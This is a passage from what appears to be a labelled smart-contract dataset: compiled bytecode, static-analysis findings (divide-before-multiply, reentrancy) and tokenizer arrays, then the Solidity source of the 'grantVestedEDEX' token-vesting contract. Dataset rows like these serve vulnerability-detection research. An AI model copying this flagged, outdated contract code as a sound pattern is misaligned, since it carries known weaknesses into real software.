ffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611b8857611afe81610c67565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008211611bfe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b611c078261298e565b3373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b60126020528060005260406000206000915090505481565b600c5481565b600080611c82610e58565b1415611c9257600d549050611d0c565b611d09611cf8611ca0610e58565b611cea670de0b6b3a7640000611cdc600b54611cce600c54611cc061193d565b6125b890919063ffffffff16565b61260290919063ffffffff16565b61260290919063ffffffff16565b61268890919063ffffffff16565b600d546126d290919063ffffffff16565b90505b90565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d50612859565b73ffffffffffffffffffffffffffffffffffffffff1614611dbc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061313f6021913960400191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e41612859565b73ffffffffffffffffffffffffffffffffffffffff1614611ead576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061313f6021913960400191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b686c6b935b8bbd40000081565b600d5481565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663df2671cf846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611fa657600080fd5b505afa158015611fba573d6000803e3d6000fd5b505050506040513d6020811015611fd057600080fd5b8101908080519060200190929190505050905060008090506001601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156120405767016345785d8a000090506120ee565b6002601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612098576702c68af0bb14000090506120ed565b6003601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156120ec5767058d15e17628000090505b5b5b61211b670de0b6b3a764000061210d83856126d290919063ffffffff16565b6126d290919063ffffffff16565b92505050919050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166121d4612859565b73ffffffffffffffffffffffffffffffffffffffff1614612240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061313f6021913960400191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612295612290336116b0565b610eb3565b61229d6112e2565b565b600a5481565b80601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561233d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061318a6024913960400191505060405180910390fd5b6000612348826114e0565b9050600061239e601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836125b890919063ffffffff16565b905061241133600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a8f909392919063ffffffff16565b61246381601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f70b27848abfd4ab169b72857464ef4ae0e45c29525a4deb12dfbb56467295594836040518082815260200191505060405180910390a1505050565b61252e611a2d565b6125a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6125a981612b95565b50565b67016345785d8a000081565b60006125fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612cdb565b905092915050565b6000808314156126155760009050612682565b600082840290508284828161262657fe5b041461267d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061311e6021913960400191505060405180910390fd5b809150505b92915050565b60006126ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d9b565b905092915050565b600080828401905083811015612750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b61276f816001546125b890919063ffffffff16565b6001819055506127c781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285633826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166128619092919063ffffffff16565b50565b600033905090565b61292d838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612e61565b505050565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008183106129845781612986565b825b905092915050565b6129a3816001546126d290919063ffffffff16565b6001819055506129fb81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8c3330836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a8f909392919063ffffffff16565b50565b612b8f848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612e61565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612c1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806130f86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290612d88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d4d578082015181840152602081019050612d32565b50505050905090810190601f168015612d7a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612e47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e0c578082015181840152602081019050612df1565b50505050905090810190601f168015612e395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612e5357fe5b049050809150509392505050565b612e808273ffffffffffffffffffffffffffffffffffffffff166130ac565b612ef2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310612f415780518252602082019150602081019050602083039250612f1e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612fa3576040519150601f19603f3d011682016040523d82523d6000602084013e612fa8565b606091505b509150915081613020576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156130a65780806020019051602081101561303f57600080fd5b81019080805190602001909291905050506130a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613160602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156130ee5750808214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656443616e6e6f7420646f776e6772616465206c6576656c206f722073616d65206c6576656ca265627a7a723158203275917f808069046b5b565f3c4749d173e9f4cf55f1e4bd4539bebfab5075d864736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2620,
17134,
24594,
3207,
2050,
22275,
2620,
2509,
4783,
2497,
2509,
2063,
2683,
2683,
2575,
2620,
2278,
2692,
10354,
2487,
2050,
19841,
10322,
2509,
2497,
2094,
2575,
16048,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5511,
1011,
5718,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5718,
1011,
2324,
1008,
1013,
1013,
1008,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1035,
1035,
1013,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1013,
1035,
1013,
1013,
1035,
1035,
1035,
1013,
1013,
1035,
1006,
1035,
1007,
1035,
1035,
1035,
1035,
1035,
1032,
1032,
1013,
1013,
1013,
1013,
1013,
1035,
1032,
1013,
1035,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,402 | 0x9518396b86f703c88b8927e48fbba7e64ef164a2 | pragma solidity ^0.4.16;
contract SafeMath{
// math operations with safety checks that throw on error
// small gas improvement
function safeMul(uint256 a, uint256 b) internal returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256){
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256){
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256){
uint256 c = a + b;
assert(c >= a);
return c;
}
// mitigate short address attack
// https://github.com/numerai/contract/blob/c182465f82e50ced8dacb3977ec374a892f5fa8c/contracts/Safe.sol#L30-L34
modifier onlyPayloadSize(uint numWords){
assert(msg.data.length >= numWords * 32 + 4);
_;
}
}
contract Token{
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract grantVestedEDEX is SafeMath{
uint256 public icoEndBlock;
address public beneficiary;
// withdraw first token supply after ICO
bool private initialTeamWithdrawal = false;
// withdraw tokens periodically
uint256 public firstTeamWithdrawal;
uint256 public secondTeamWithdrawal;
uint256 public thirdTeamWithdrawal;
uint256 public fourthTeamWithdrawal;
uint256 public fifthTeamWithdrawal;
uint256 public sixthTeamWithdrawal;
uint256 public seventhTeamWithdrawal;
uint256 public eighthTeamWithdrawal;
// check periodic withdrawals
bool private firstWithdrawalFinished = false;
bool private secondWithdrawalFinished = false;
bool private thirdWithdrawalFinished = false;
bool private fourthWithdrawalFinished = false;
bool private fifthWithdrawalFinished = false;
bool private sixthWithdrawalFinished = false;
bool private seventhWithdrawalFinished = false;
bool private eighthWithdrawalFinished = false;
Token public ERC20Token;
enum Phases{
initialTeamWithdrawal,
firstTeamWithdrawal,
secondTeamWithdrawal,
thirdTeamWithdrawal,
fourthTeamWithdrawal,
fifthTeamWithdrawal,
sixthTeamWithdrawal,
seventhTeamWithdrawal,
eighthTeamWithdrawal
}
Phases public phase = Phases.initialTeamWithdrawal;
modifier atPhase(Phases _phase){
if(phase == _phase) _;
}
function grantVestedEDEX(address _token, uint256 icoEndBlockInput){
require(_token != address(0));
beneficiary = msg.sender;
icoEndBlock = icoEndBlockInput;
ERC20Token = Token(_token);
}
function changeBeneficiary(address newBeneficiary) external{
require(newBeneficiary != address(0));
require(msg.sender == beneficiary);
beneficiary = newBeneficiary;
}
function changeIcoEndBlock(uint256 newIcoEndBlock){
require(msg.sender == beneficiary);
require(block.number < icoEndBlock);
require(block.number < newIcoEndBlock);
icoEndBlock = newIcoEndBlock;
}
function checkBalance() constant returns (uint256 tokenBalance){
return ERC20Token.balanceOf(this);
}
function withdrawal() external{
require(msg.sender == beneficiary);
require(block.number > icoEndBlock);
uint256 balance = ERC20Token.balanceOf(this);
eighth_withdrawal(balance);
seventh_withdrawal(balance);
sixth_withdrawal(balance);
fifth_withdrawal(balance);
fourth_withdrawal(balance);
third_withdrawal(balance);
second_withdrawal(balance);
first_withdrawal(balance);
initial_withdrawal(balance);
}
function nextPhase() private{
phase = Phases(uint256(phase) + 1);
}
// initial_withdrawal releases 60% of tokens
function initial_withdrawal(uint256 balance) private atPhase(Phases.initialTeamWithdrawal){
firstTeamWithdrawal = now + 13 weeks;
secondTeamWithdrawal = firstTeamWithdrawal + 13 weeks;
thirdTeamWithdrawal = secondTeamWithdrawal + 13 weeks;
fourthTeamWithdrawal = thirdTeamWithdrawal + 13 weeks;
fifthTeamWithdrawal = fourthTeamWithdrawal + 13 weeks;
sixthTeamWithdrawal = fifthTeamWithdrawal + 13 weeks;
seventhTeamWithdrawal = sixthTeamWithdrawal + 13 weeks;
eighthTeamWithdrawal = seventhTeamWithdrawal + 13 weeks;
uint256 amountToTransfer = safeDiv(safeMul(balance, 6), 10);
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function first_withdrawal(uint256 balance) private atPhase(Phases.firstTeamWithdrawal){
require(now > firstTeamWithdrawal);
uint256 amountToTransfer = balance / 8;
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function second_withdrawal(uint256 balance) private atPhase(Phases.secondTeamWithdrawal){
require(now > secondTeamWithdrawal);
uint256 amountToTransfer = balance / 7;
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function third_withdrawal(uint256 balance) private atPhase(Phases.thirdTeamWithdrawal){
require(now > thirdTeamWithdrawal);
uint256 amountToTransfer = balance / 6;
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function fourth_withdrawal(uint256 balance) private atPhase(Phases.fourthTeamWithdrawal){
require(now > fourthTeamWithdrawal);
uint256 amountToTransfer = balance / 5;
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function fifth_withdrawal(uint256 balance) private atPhase(Phases.fifthTeamWithdrawal){
require(now > fifthTeamWithdrawal);
uint256 amountToTransfer = balance / 4;
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function sixth_withdrawal(uint256 balance) private atPhase(Phases.sixthTeamWithdrawal){
require(now > sixthTeamWithdrawal);
uint256 amountToTransfer = balance / 3;
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function seventh_withdrawal(uint256 balance) private atPhase(Phases.seventhTeamWithdrawal){
require(now > seventhTeamWithdrawal);
uint256 amountToTransfer = balance / 2;
ERC20Token.transfer(beneficiary, amountToTransfer);
nextPhase();
}
function eighth_withdrawal(uint256 balance) private atPhase(Phases.eighthTeamWithdrawal){
require(now > eighthTeamWithdrawal);
ERC20Token.transfer(beneficiary, balance);
}
function withdrawOtherEDEX(address _token) external{
require(msg.sender == beneficiary);
require(_token != address(0));
Token token = Token(_token);
require(token != ERC20Token);
uint256 balance = token.balanceOf(this);
token.transfer(beneficiary, balance);
}
} | 0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806312f31b5f146100f6578063131e03ba1461012157806313a517bf14610164578063170eb2451461018f57806325cbd68e146101ba57806338af3eed146101e557806347d70f741461023c57806348eab053146102675780634b05de7514610292578063750ee24a146102bd5780637908f25c146102ea5780637a80760e14610315578063a5a9cf0d1461036c578063b1c9fe6e14610397578063c71daccb146103d0578063d4e93292146103fb578063dc07065714610412575b600080fd5b34801561010257600080fd5b5061010b610455565b6040518082815260200191505060405180910390f35b34801561012d57600080fd5b50610162600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061045b565b005b34801561017057600080fd5b50610179610734565b6040518082815260200191505060405180910390f35b34801561019b57600080fd5b506101a461073a565b6040518082815260200191505060405180910390f35b3480156101c657600080fd5b506101cf610740565b6040518082815260200191505060405180910390f35b3480156101f157600080fd5b506101fa610746565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024857600080fd5b5061025161076c565b6040518082815260200191505060405180910390f35b34801561027357600080fd5b5061027c610772565b6040518082815260200191505060405180910390f35b34801561029e57600080fd5b506102a7610778565b6040518082815260200191505060405180910390f35b3480156102c957600080fd5b506102e86004803603810190808035906020019092919050505061077e565b005b3480156102f657600080fd5b506102ff610802565b6040518082815260200191505060405180910390f35b34801561032157600080fd5b5061032a610808565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037857600080fd5b5061038161082e565b6040518082815260200191505060405180910390f35b3480156103a357600080fd5b506103ac610834565b604051808260088111156103bc57fe5b60ff16815260200191505060405180910390f35b3480156103dc57600080fd5b506103e5610847565b6040518082815260200191505060405180910390f35b34801561040757600080fd5b50610410610946565b005b34801561041e57600080fd5b50610453600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b02565b005b60025481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104ba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156104f657600080fd5b829150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561055657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156105f157600080fd5b505af1158015610605573d6000803e3d6000fd5b505050506040513d602081101561061b57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106f357600080fd5b505af1158015610707573d6000803e3d6000fd5b505050506040513d602081101561071d57600080fd5b810190808051906020019092919050505050505050565b60095481565b60035481565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b60055481565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107da57600080fd5b600054431015156107ea57600080fd5b80431015156107f857600080fd5b8060008190555050565b60045481565b600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b600a601c9054906101000a900460ff1681565b6000600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561090657600080fd5b505af115801561091a573d6000803e3d6000fd5b505050506040513d602081101561093057600080fd5b8101908080519060200190929190505050905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109a457600080fd5b600054431115156109b457600080fd5b600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d6020811015610a9b57600080fd5b81019080805190602001909291905050509050610ab781610bde565b610ac081610d45565b610ac981610ec6565b610ad281611047565b610adb816111c8565b610ae481611349565b610aed816114ca565b610af68161164b565b610aff816117cc565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b3e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b9a57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6008806008811115610bec57fe5b600a601c9054906101000a900460ff166008811115610c0757fe5b1415610d415760095442111515610c1d57600080fd5b600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d0457600080fd5b505af1158015610d18573d6000803e3d6000fd5b505050506040513d6020811015610d2e57600080fd5b8101908080519060200190929190505050505b5050565b60006007806008811115610d5557fe5b600a601c9054906101000a900460ff166008811115610d7057fe5b1415610ec15760085442111515610d8657600080fd5b600283811515610d9257fe5b049150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e7c57600080fd5b505af1158015610e90573d6000803e3d6000fd5b505050506040513d6020811015610ea657600080fd5b810190808051906020019092919050505050610ec06119b2565b5b505050565b60006006806008811115610ed657fe5b600a601c9054906101000a900460ff166008811115610ef157fe5b14156110425760075442111515610f0757600080fd5b600383811515610f1357fe5b049150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ffd57600080fd5b505af1158015611011573d6000803e3d6000fd5b505050506040513d602081101561102757600080fd5b8101908080519060200190929190505050506110416119b2565b5b505050565b6000600580600881111561105757fe5b600a601c9054906101000a900460ff16600881111561107257fe5b14156111c3576006544211151561108857600080fd5b60048381151561109457fe5b049150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561117e57600080fd5b505af1158015611192573d6000803e3d6000fd5b505050506040513d60208110156111a857600080fd5b8101908080519060200190929190505050506111c26119b2565b5b505050565b600060048060088111156111d857fe5b600a601c9054906101000a900460ff1660088111156111f357fe5b1415611344576005544211151561120957600080fd5b60058381151561121557fe5b049150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b505050506040513d602081101561132957600080fd5b8101908080519060200190929190505050506113436119b2565b5b505050565b6000600380600881111561135957fe5b600a601c9054906101000a900460ff16600881111561137457fe5b14156114c5576004544211151561138a57600080fd5b60068381151561139657fe5b049150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561148057600080fd5b505af1158015611494573d6000803e3d6000fd5b505050506040513d60208110156114aa57600080fd5b8101908080519060200190929190505050506114c46119b2565b5b505050565b600060028060088111156114da57fe5b600a601c9054906101000a900460ff1660088111156114f557fe5b1415611646576003544211151561150b57600080fd5b60078381151561151757fe5b049150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561160157600080fd5b505af1158015611615573d6000803e3d6000fd5b505050506040513d602081101561162b57600080fd5b8101908080519060200190929190505050506116456119b2565b5b505050565b6000600180600881111561165b57fe5b600a601c9054906101000a900460ff16600881111561167657fe5b14156117c7576002544211151561168c57600080fd5b60088381151561169857fe5b049150600a60089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561178257600080fd5b505af1158015611796573d6000803e3d6000fd5b505050506040513d60208110156117ac57600080fd